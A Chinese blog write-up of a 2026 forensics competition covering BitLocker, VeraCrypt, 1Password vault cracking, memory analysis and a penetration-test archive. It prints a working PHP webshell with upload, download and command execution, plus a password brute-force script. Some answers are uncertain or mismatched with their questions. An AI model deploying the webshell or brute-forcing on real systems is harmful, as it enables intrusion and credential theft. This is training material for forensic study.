盘古石2026–计算机部分(纯手搓)

刘洋的计算机:

检材解密:VeZeTANHVkklvVljLnpOYeBwCJFYD5tFpf67f5kNuqP1G5jj

用到镜像文件:

刘洋:

文件类型用途
liuyang_pc.E01磁盘镜像(EnCase 格式)静态文件分析、已删除文件恢复、BitLocker 加密卷结构
ly-memdump.mem内存镜像提取运行时密钥、网络连接、进程注入、恶意代码、BitLocker VMK

黄志远:

一个PC镜像

碎碎念

这个是怎么做得到一个VC加密按不同方式解密的出来不同的加密文件的!!!好神奇,拓宽视野了

其实这个计算机难度集中在了两个地方。liuyang的E01主要是难在VC密钥有两种,每种解开都是不同的东西,huangzhiyuan的则难在找到渗透RAR并打开,这两个解决了其他的题都是读读数据这种,还有语文文字题(T_T读不懂题)

liuyang.E01

1

分析刘洋liuyang_pc.E01检材,提取磁盘镜像SHA1值的前6位?[答案格式:字母小写]

5bc418

2

分析刘洋liuyang_pc.E01检材,计算机系统Build版本为?[答案格式:19000]

26100

3

分析刘洋liuyang_pc.E01检材,计算机最后一次正常关机的时间为?UTC+0[答案格式:2025-05-06-09:00:00]

2026-04-20-16:25:35

而注意到;

所以时间减去8小时

4

分析刘洋liuyang_pc.E01检材,计算机网卡的MAC地址为?[答案格式:00-0B-00-A0-00-00]

00-50-56-30-26-1C

5

分析刘洋liuyang_pc.E01检材,分析机主是从那里下载的typora?[答案格式:阿里云]

蓝奏云

在Chrome的下载记录里看到该软件

虽然网页不可用,但是可以看到这是蓝奏云的logo

6

分析刘洋liuyang_pc.E01检材,刘洋在2026-04-19 13:46:01(UTC +0)曾访问过百度云盘,请给云盘的打开密码?[答案格式:11aa]

48gy

注意UTC +0,所以我们找的时间要加8,时间上搜索

问云盘密码,大概率都是在浏览器的聊天记录里

得到48gy

7

分析刘洋liuyang_pc.E01检材,请给出刘洋管理pve集群所用的端口号?[答案格式:8000]

8006

8

分析刘洋liuyang_pc.E01检材,请给出刘洋登录理财网站所使用的密码?[答案格式:password]

admin123

翻浏览器记录可以发现保存过的密码admin123

9

分析刘洋liuyang_pc.E01检材,请给出理财网站的IP地址?[答案格式:127.0.0.1]

192.168.0.70

这个题我原来的做法:这个理财软件我们在上道题已经知道了URL,在仿真里面输入命令,查看DNS日志

nslookup 3w.jlzb.vip

输出的是

C:\Users\刘洋>nslookup 3w.jlzb.vip
DNS request timed out.
    timeout was 2 seconds.
服务器:  UnKnown
Address:  192.168.2.1

DNS request timed out.
    timeout was 2 seconds.
DNS request timed out.
    timeout was 2 seconds.
DNS request timed out.
    timeout was 2 seconds.
DNS request timed out.
    timeout was 2 seconds.
*** 请求 UnKnown 超时

192.168.2.1 只是本地路由器的地址,不是目标 IP。

正解:

查看一下本地hosts文件

192.168.0.70

在火眼里面看
在仿真镜像里面看

10

分析刘洋liuyang_pc.E01检材,请给出计算机内Bitlocker加密分区恢复密钥的前6位?[答案格式:6位数字]

560615-577522-342881-216865-242561-312356-584837-421597

这里拿内存镜像爆破Bitlocker密码

得到密码 560615-577522-342881-216865-242561-312356-584837-421597

11

分析刘洋liuyang_pc.E01检材,找出VC加密容器的密钥文件,给出该密钥文件的绝对路径?[答案格式:D:\ABC\123\测试.txt]

D:\BaiduNetdiskDownload\无标题.png

首先从12题题目里面可以猜出这个文件是图像

解密bitlocker的分区:

在D:\BaiduNetdiskDownload看到了一个无标题的PNG

再观察到电脑自带的图片里面有个一模一样的

猜测可能存在隐写

放到随波逐流里边发现果然存在高隐写

这里已经明确说明了VC容器密钥文件

所以得到答案:”D:\BaiduNetdiskDownload\无标题.png”

12

接上题,该VC加密容器的密钥文件的图像高度是多少像素?[答案格式:1345]

值得注意的是这里问的图像高度是高度修复后的图像高度,比赛的时候这里错了T_T

所以是答案是1080

13

分析刘洋liuyang_pc.E01检材,请给出团队重要信息加密保存的软件名?[答案格式:abc123]

1Password

再下载里面找到了1password,但是需要密码

在上面的压缩包里可以找到提示

说明这就是个团队重要信息加密保存的软件

14

分析刘洋liuyang_pc.E01检材,该软件的保险库文件名为什么?[答案格式:abc.abc]

liuyang.opvault

在文档处还看到了一个1Password的文件夹,打开发现是软件的保险库

opvault1Password 密码管理器本地加密密码库文件格式

15

分析刘洋liuyang_pc.E01检材,该软件的保险库文件打开密码是什么?[答案格式:124@password]

liuyang@6419

根据压缩包的提示,来爆破一下密码,分析liuyang.opvault编写脚本

import hashlib
import hmac
import base64
import struct
import sys
import time
from multiprocessing import Pool, cpu_count

# OPVault 密钥参数
SALT = base64.b64decode("IeURd51uAYC1eLekU4BwFA==")
ITERATIONS = 100000

# OPVault 中的 overviewKey 和 masterKey(Base64 编码)
OVERVIEW_KEY_B64 = "b3BkYXRhMDEAAAAAAAAAACDcPhy5RqzGti3mEraiflCWM3tkcTXdKYimn0yGOpegf5ECqqovRBauxoeTlU7fCZRy0zmIOuhcHsNnVx8bYs6u+HUJBpgdVJjqAnMLYIHMlbhxNcC+HMJdVmYinkBuM3Gop9N9XxK08K/mENTbWQfYiBLEj91LgxkCRobA3pKh"
MASTER_KEY_B64 = "b3BkYXRhMDEAAQAAAAAAAGfym+bTedJNHPrsp1DtSrH4iu7nA3lMUHzuq1H49jlwIvSES6b55ZGNZHA0xtyJgifKgDgc82rEOJLNzSg4Xl+qaGCk33/tJmEZWS6r7Ef+wSErsxNcUYQxVHkaWQtbofQ8vif+46dYXBGfTiT5a/JEQU2X6bn2Snd5jkOSz62sPQcuHYwJ1lFxLv4WYRWROVKMvVA4b0ByNrjTmfUHrSuPv3JuBNfiLXX69LvVPW8EdznhnZG4BlU1+m3ZCZr2HST9+04JMhFJhj0UmhO07nijbUIvcDxeqJoeznyZ1CC6eocrQlvyv2EIAOMxcMmSuCGY2CMw+MPCdlklnLEdaULfhgEEaNHfWnpFFnVql5P5B1xZOHP80SW9qzmRmzoxQ/l7tOP7XEGld2vwHQlS+Smrzp2XVDRAi8yDVMH4rmJS"

# 解码密钥数据
overview_key_raw = base64.b64decode(OVERVIEW_KEY_B64)
overview_expected_hmac = overview_key_raw[-32:]      # 最后 32 字节是 HMAC
overview_hmac_input = overview_key_raw[:-32]          # 前面是 HMAC 输入数据

master_key_raw = base64.b64decode(MASTER_KEY_B64)
master_expected_hmac = master_key_raw[-32:]
master_hmac_input = master_key_raw[:-32]


def try_password(password):
    """尝试单个密码,使用 PBKDF2-SHA512 派生密钥并验证 HMAC"""
    # PBKDF2 派生 64 字节密钥
    derived = hashlib.pbkdf2_hmac(
        'sha512', 
        password.encode('utf-8'), 
        SALT, 
        ITERATIONS, 
        dklen=64
    )
    
    # 后 32 字节作为 HMAC 密钥
    mac_key = derived[32:64]
    
    # 验证 overviewKey 的 HMAC
    computed = hmac.new(mac_key, overview_hmac_input, hashlib.sha256).digest()
    if hmac.compare_digest(computed, overview_expected_hmac):
        return password
    
    # 验证 masterKey 的 HMAC
    computed2 = hmac.new(mac_key, master_hmac_input, hashlib.sha256).digest()
    if hmac.compare_digest(computed2, master_expected_hmac):
        return password
    
    return None


def try_batch(start):
    """批量尝试密码:liuyang@0000 ~ liuyang@9999"""
    for i in range(start, min(start + 50, 10000)):
        password = f"liuyang@{i:04d}"
        result = try_password(password)
        if result:
            return result
    return None


if __name__ == '__main__':
    print(f"[*] OPVault Brute Force - liuyang@0000 to liuyang@9999")
    print(f"[*] PBKDF2-SHA512, {ITERATIONS} iterations")
    print(f"[*] Using {cpu_count()} CPU cores")
    print(f"[*] Starting...")
    
    start_time = time.time()
    batches = list(range(0, 10000, 50))
    
    with Pool(processes=cpu_count()) as pool:
        for idx, result in enumerate(pool.imap_unordered(try_batch, batches)):
            if result:
                elapsed = time.time() - start_time
                print(f"\n[+] PASSWORD FOUND: {result}")
                print(f"[+] Time elapsed: {elapsed:.1f} seconds")
                pool.terminate()
                sys.exit(0)
            
            # 每处理 20 个批次打印进度
            if idx % 20 == 0:
                elapsed = time.time() - start_time
                progress = (idx * 50) / 10000 * 100
                print(f"[*] Progress: {progress:.1f}% ({idx*50}/10000) - {elapsed:.1f}s", end='\r')
    
    elapsed = time.time() - start_time
    print(f"\n[-] Password not found in range 0000-9999 ({elapsed:.1f}s)")
[*] OPVault Brute Force - liuyang@0000 to liuyang@9999
[*] PBKDF2-SHA512, 100000 iterations
[*] Using 32 CPU cores
[*] Starting...
[*] Progress: 60.0% (6000/10000) - 48.6s
[+] PASSWORD FOUND: liuyang@6419
[+] Time elapsed: 49.8 seconds

得到密码liuyang@6419

16

分析刘洋liuyang_pc.E01检材,请给出用户刘洋的开机密码?[答案格式:p@ssw0rd123]

6yang@2o26

用密码打开:

复制出来:6yang@2o26

17

分析刘洋liuyang_pc.E01检材,请给出pve服务器的管理密码?[答案格式:p@ssw0rd123]

pgscup2o@6

在保险库里面找到PVE然后编辑打开可以看到密码

18

分析刘洋liuyang_pc.E01检材,找出计算机内的脚本加密工具,给出该加密工具的SHA1的前6位?[答案格式:字母小写]

7860dc

到这里已经不知道怎么往后走了,所以尝试用唯一还没有开通的路:VC容器

在回收站里面找到:

在百度网盘的下载文件夹找到加密容器(这个东西有3G,很不正常)

用VC挂载一下,把密码 ‘ 8687f7d845649e03d02d4ff1f36ec952 ‘,pim2026全都挂上

得到;

这里没有东西,用修复过高的VC密钥+pim2026来解密

计算hash:

19

分析刘洋liuyang_pc.E01检材,该脚本加密工具在进行脚本加密时,最后一层是进行什么操作?[答案格式:字符替换]

十六进制转换

打开脚本就可以看到

20

分析刘洋liuyang_pc.E01检材,请解密该脚本加密工具加密的文件database.php.obf,给出该文件内的数据库密码?[答案格式:p@ssw0rd123]

pgscup@o26

根据加密写出解密:

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import sys
import base64

XOR_KEY = 0x5A
BASE64_TABLE = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
CUSTOM_TABLE = "ZYXWVUTSRQPONMLKJIHGFEDCBAzyxwvutsrqponmlkjihgfedcba9876543210+/"


def xor_decrypt(data):
    result = []
    for i, c in enumerate(data):
        result.append(chr(ord(c) ^ (XOR_KEY + i) % 256))
    return ''.join(result)


def char_swap_decode(data):
    trans = str.maketrans(CUSTOM_TABLE, BASE64_TABLE)
    return data.translate(trans)


def deobfuscate(data):
    step4 = bytes.fromhex(data).decode('utf-8')
    step3 = char_swap_decode(step4)
    step2 = base64.b64decode(step3).decode('utf-8')
    step1 = xor_decrypt(step2)
    return step1


def decrypt_file(input_path, output_path):
    with open(input_path, 'r', encoding='utf-8') as f:
        content = f.read()
    deobfuscated = deobfuscate(content)
    with open(output_path, 'w', encoding='utf-8') as f:
        f.write(deobfuscated)
    print("[OK] %s -> %s" % (input_path, output_path))


if __name__ == "__main__":
    if len(sys.argv) < 3:
        print("用法: python decrypt_tool.py <输入文件> <输出文件>")
        sys.exit(1)
    decrypt_file(sys.argv[1], sys.argv[2])

运行得到:

- 文件 : C:\Users\q1388\Desktop\database.php
- 数据库类型 : MySQL
- 主机 : 127.0.0.1:3306
- 数据库名 : jinqin
- 用户名 : root
- 密码 : pgscup@o26

21

分析刘洋liuyang_pc.E01检材,找出刘洋计算机内的交易信息.rar,给出该文件的打开密码?[答案格式:p@ssw0rd123]

pgscup@9541

拿最开始挂载VC得到的密码进行导出这个rar

拿passwarekit爆破得到密码:pgscup@9541

22

分析刘洋liuyang_pc.E01检材,找出刘洋计算机内刘桂荣的身份证号码?[答案格式:5…..1]

rar里面全是表格,直接搜索

搜出来三个。。。

420100194707075594
420100200106295186
500000196606302245

有三个….不知道答案选哪个

ly-memdump.mem

23

分析刘洋ly-memdump.mem镜像,给出用户刘洋的NT哈希值?[答案格式:数字字母组合,字母小写]

876dfe7bd78730b7b0baaf451414de8e

24

分析刘洋ly-memdump.mem镜像,给出1Password密码管理器的数据库文件名?[答案格式:123ABc.abc]

1Password10.sqlite

在lovelymem的文件搜索里面搜索1Password

知识点:

文件名说明
1password.sqlite主数据库文件(最常见)
B5.sqlite1Password 账户数据库(B5 指 1Password 的云端服务架构代号)
1password10.sqlite较新版本的数据库
op.sqlite1Password CLI 工具的数据库

25

分析刘洋ly-memdump.mem镜像,1Password在VeraCrypt启动后约多少分钟启动?[答案格式:123]

2

进程列表搜索VeraCrypt

再搜1Password

(这里的createTime指的是进程创建的时间,也就是exe的启动)

相减即可得到答案2

黄志远PC.E01

26

分析黄志远PC.E01镜像,黄志远使用的ai agent的名称是什么?[答案格式:www]

hermes

(这里需要经验积累,Linux没有hermes这个命令)

27

分析黄志远PC.E01镜像,黄志远使用的模型api后4位是什么?[答案格式:abcd]

PC.E01/分区2/home/kali/.hermes/state.db

也可以用DBbrowser看

完美!我已经成功更新了:

1. **DeepSeek API密钥**:已更新为 `sk-dfesagheoghjopghjihgioa`
2. **Discord Bot Token**:已更新为 `dfjaoegjhoegeasgoeihgioengoeng`

配置更新完成!现在Hermes Agent将使用新的API密钥连接到DeepSeek,并使用新的Discord Bot Token连接到Discord。

**注意**:为了让更改生效,你可能需要重启Hermes服务(如果它正在运行)。你可以使用以下命令重启:

```bash
hermes restart
```

或者如果使用了systemd服务:
```bash
systemctl --user restart hermes-gateway
```

更新完成!

28

请分析黄志远PC.E01镜像中的渗透.rar文件,分析黄志远PC.E01镜像,黄志远总共攻击了多少台主机?[答案格式:123]

16

在目录里面找到一个加密的RAR

在kali/ 渗透密码里面找到一堆图片,显然这是个拼图部分

对着reference.png进行拼图(这里采用montage+gaps自动排序的方法)

magick montage patch_*.png -tile 20x25 -geometry +0+0 flag.png

(此处可以瞪眼法出密码)整体像素:600*1025,图片碎片像素:30*41,得到20列*25行

(gaps做法,这里是自己的gaps.py)

python gaps.py run 1.png 2.png --size=30 --generations=50 --population=1000 --debug

找到密码;

今晚去杀鬼

打开压缩包,得到渗透报告

29

请分析黄志远PC.E01镜像中的渗透.rar文件,反编译exploit二进制文件发现其调用了setuid()、setgid()和system(“/bin/bash”),该程序的源文件编译前名称是什么?[答案格式:xxx.c]

exploit.c

用Ida打开,反编译main函数,发现调用这些函数

发现是C语言调用的函数,文件是C语言

放到kali里面用string提取

提取字符串 ‘ strings exploit '看到两个.c文件

特征crtstuff.cexploit.c
来源GCC 编译器内置用户编写
作用C 运行时初始化(所有 C 程序都有)程序的实际业务逻辑
出现位置任何 GCC 编译的 ELF 文件都会出现只有这个特定程序才有
可辨识度通用、标准与程序功能直接相关

所以得到答案

30

请分析黄志远PC.E01镜像中的渗透.rar文件,Webshell 功能逻辑研判观察 file_shell.php 的源码,若攻击者请求 ?download=/etc/passwd,程序执行的核心函数是什么?[答案格式:func()]

readfile()

打开代码:

<?php
if(isset($_GET['download'])) {
    $file = $_GET['download'];
    if(file_exists($file)) {
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename="'.basename($file).'"');
        readfile($file);               《-------------------------发现此处关键核心函数!!!!!!!
        exit;
    }
}

if(isset($_FILES['file'])) {
    $target = basename($_FILES['file']['name']);
    if(move_uploaded_file($_FILES['file']['tmp_name'], $target)) {
        echo "File uploaded: $target<br>";
    }
}

if(isset($_GET['cmd'])) {
    system($_GET['cmd']);
}
?>
<form method="post" enctype="multipart/form-data">
<input type="file" name="file">
<input type="submit" value="Upload">
</form>
<form method="get">
<input type="text" name="cmd" placeholder="Command">
<input type="submit" value="Execute">
</form>

31

请分析黄志远PC.E01镜像中的渗透.rar文件,Nikto扫描结果发现通过发送超长斜杠序列可以探测目录列举漏洞,该漏洞对应的CVE编号是什么?[答案格式:CVE-XXXX-XXXX]

CVE-2002-1078

".\PGS计算机部分\渗透\pentest-lab\nikto_scan.txt.txt"

下图是最开始错误做法,题目写的是通过超长///的CVE,所以应该是后面那个CVE

32

请分析黄志远PC.E01镜像中的渗透.rar文件,SQLite 数据库结构分析在 users 表的定义中,id 字段使用了 AUTOINCREMENT。这意味着什么?[答案格式:SQL_KEYWORD]

AUTOINCREMENT

做这个题的时候没有读懂意思,跟着题目一遍一遍来,在渗透报告表中可以找到

AUTOINCREMENT是SQLite的关键字

确保id字段自动递增且永不重用已删除的ID值

与单纯的PRIMARY KEY不同,AUTOINCREMENT保证ID严格递增

所以这意味着 id 字段的值会自动生成,且严格单调递增、永不重复,常用于主键(如用户 ID、订单号等需要唯一标识的场景)。

因为本人感觉语文理解上很吃力,所以这个地方放个ai解释

33

请分析黄志远PC.E01镜像中的渗透.rar文件,Webshell 命令执行参数若要利用 file_shell.php 获取当前系统的用户权限,正确的 URL 参数构造是什么?[答案格式:cmd=xxx]、

cmd=id

if(isset($_GET['cmd'])) {
    system($_GET['cmd']);
}
UID 值用户权限级别
0root超级管理员,系统最高权限
1-999系统用户运行系统服务,权限受限
1000+普通用户日常操作,默认只能访问自己的文件

34

请分析黄志远PC.E01镜像中的渗透.rar文件,API 端口风险判定8000端口运行的技术组件是什么?[答案格式:XxxYyy]

FastApi

在通讯录管理系统漏洞清单.md中找到开放端口信息

35

请分析黄志远PC.E01镜像中的渗透.rar文件,数据库存储安全性评估users 表的密码存储存在什么安全隐患?[答案格式:CVE-XXXX-XXXX]

CVE-2026-0005

渗透测试报告_192.168.61.135.md

36

请分析黄志远PC.E01镜像中的渗透.rar文件,文件上传漏洞利用条件利用 upload.php 上传漏洞后,攻击者利用 Webshell 前最关键的一步是什么?[答案格式:xxx/

uploads/

在通讯录管理系统漏洞清单.md

37

请分析黄志远PC.E01镜像中的渗透.rar文件,根据通讯录管理系统漏洞清单,CVE-2026-0003(无限制文件上传漏洞)的CVSS评分是多少?[答案格式:1.2]

8.8

38

请分析黄志远PC.E01镜像中的渗透.rar文件,根据file_shell.php源码,文件上传功能使用哪个PHP函数将临时文件移动到目标路径?[答案格式:php_func]

move_uploaded_file

if(isset($_FILES['file'])) {
    $target = basename($_FILES['file']['name']);
    if(move_uploaded_file($_FILES['file']['tmp_name'], $target)) {
        echo "File uploaded: $target<br>";
    }
}

39

请分析黄志远PC.E01镜像中的渗透.rar文件,Web 目录遍历隐患uploads/ 目录启用目录列表功能通常由哪个组件控制?[答案格式:apache_opt]

apache_Indexes

在漏洞清单中可以看到

Apache通过Options指令中的Indexes选项控制目录列表的开启  

Apache 选项作用
Indexes目录列表
FollowSymLinks允许符号链接
Includes允许 SSI
ExecCGI允许 CGI 执行
MultiViews内容协商

40

请分析黄志远PC.E01镜像中的渗透.rar文件,敏感凭据深度关联在 address_book.db 中,管理员密码 Str0ngP@ssw0rd2026! 是什么角色?[答案格式:SQL_DEFAULT]

按照题目打开db

41

请分析黄志远PC.E01镜像中的渗透.rar文件,数据规模与风险评估遭受泄露的个人联系人信息条数大约为多少?[答案格式:12345]

15000

通讯录管理系统漏洞清单中可以看到

42

请分析黄志远PC.E01镜像中的渗透.rar文件,系统运行权限分析Web服务器运行的用户身份是什么?[答案格式:xxx-xxx]

www-data

依旧这个md里面可以找到

43

请分析黄志远PC.E01镜像中的渗透.rar文件,命令行注入漏洞识别验证 tools.php 命令执行漏洞时,哪个命令返回了uid的值?[答案格式:cmd]

id

这个md里面搜索tools.php可以快速找到

44

请分析黄志远PC.E01镜像中的渗透.rar文件,数据库物理路径获取攻击者通过 generate_data.php 得知数据库在服务器上的绝对物理路径是什么?[答案格式:/xxx/xxx/xxx.db]

/var/www/html/address_book.db

渗透测试报告_192.168.61.135.md里面

45

请分析黄志远PC.E01镜像中的渗透.rar文件,Webshell 下载参数逻辑源码中通过设置哪个 Header 实现浏览器自动弹出下载框?[答案格式:Content-xxx]

Content-Disposition

因为这里涉及到header伪造,所以我们去程序里面找

在file-shell.php里边可以看到

46

请分析黄志远PC.E01镜像中的渗透.rar文件,身份验证策略评估系统中存在的弱密码策略漏洞不包括哪项?[答案格式:user/pass]

admin/Str0ngP@ssw0rd2026!

根据“弱密码”漏洞清单里面

然后之前的db里面可以看到非弱密码的Str0ngP@ssw0rd2026!,对应的是admin

47

请分析黄志远PC.E01镜像中的渗透.rar文件,API 环境交互日志价值未授权访问8000端口日志接口,最可能导致哪类敏感信息泄露?[答案格式:/api/xxx]

/api/logs

(同34题)

48

请分析黄志远PC.E01镜像中的渗透.rar文件,攻击路径逻辑推演攻击者获取持久访问权限的最典型方式是什么?[答案格式:xxx.php]

file_shell.php

首先目前只看到了一个php文件,可以直接勇敢者游戏

其次,在渗透测试报告里面:

49

请分析黄志远PC.E01镜像中的渗透.rar文件,漏洞 CVE 编号识读被标识为未授权命令执行漏洞的虚拟CVE编号是什么?[答案格式:CVE-XXXX-XXXX]

CVE-2026-0002

渗透报告里面可以找到

50

请分析黄志远PC.E01镜像中的渗透.rar文件,系统修复优先级研判24小时紧急加固中,哪项不属于立即修复级别?[答案格式:ABC]

WAF

在漏洞清单里面搜索“修复建议优先级”

51

请分析黄志远PC.E01镜像中的渗透.rar文件,管理员凭据有效性验证利用管理员密码,攻击者在哪个页面时才能生效?[答案格式:xxx.php]

tools.php

在这个清单的攻击链里

52

请分析黄志远PC.E01镜像中的渗透.rar文件,本系统使用的后端数据库技术是什么?[答案格式:DB_name]

SQLite

在漏洞清单里查看系统信息

53

请分析黄志远PC.E01镜像中的渗透.rar文件,Webshell 目录处理逻辑文件上传功能中,源码将上传后的文件命名为什么?[答案格式:$_xxx]

$_FILES['file']['name']

看到$_XXX,是PHP里面的格式,所以查看flie_shell.php文件

if(isset($_FILES['file'])) {
    $target = basename($_FILES['file']['name']);
    if(move_uploaded_file($_FILES['file']['tmp_name'], $target)) {
        echo "File uploaded: $target<br>";
    }
}
部分含义
$_FILES['file']PHP 超全局数组,接收上传文件的信息
['name']获取上传文件的原始文件名(如 shell.php
basename()提取路径中的文件名部分,去掉目录路径
$target最终保存的目标文件名

54

请分析黄志远PC.E01镜像中的渗透.rar文件,目标系统运行的 Apache 具体版本号是什么?[答案格式:x.x.xx]

在漏洞清单里面

55

请分析黄志远PC.E01镜像中的渗透.rar文件,根据通讯录管理系统漏洞清单,CVE-2026-0001(敏感信息泄露漏洞)的CVSS评分是多少?[答案格式:1.2]

9.8

56

请分析黄志远PC.E01镜像中的渗透.rar文件,攻击者最终获取了什么角色的权限?[答案格式:xxx-xxx]

www-data
在渗透测试报告里面



至此,计算机部分-完

评论

  1. 博主
    2 周前
    2026-5-21 12:46:44

    大佬们多多指正(☆ω☆)

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇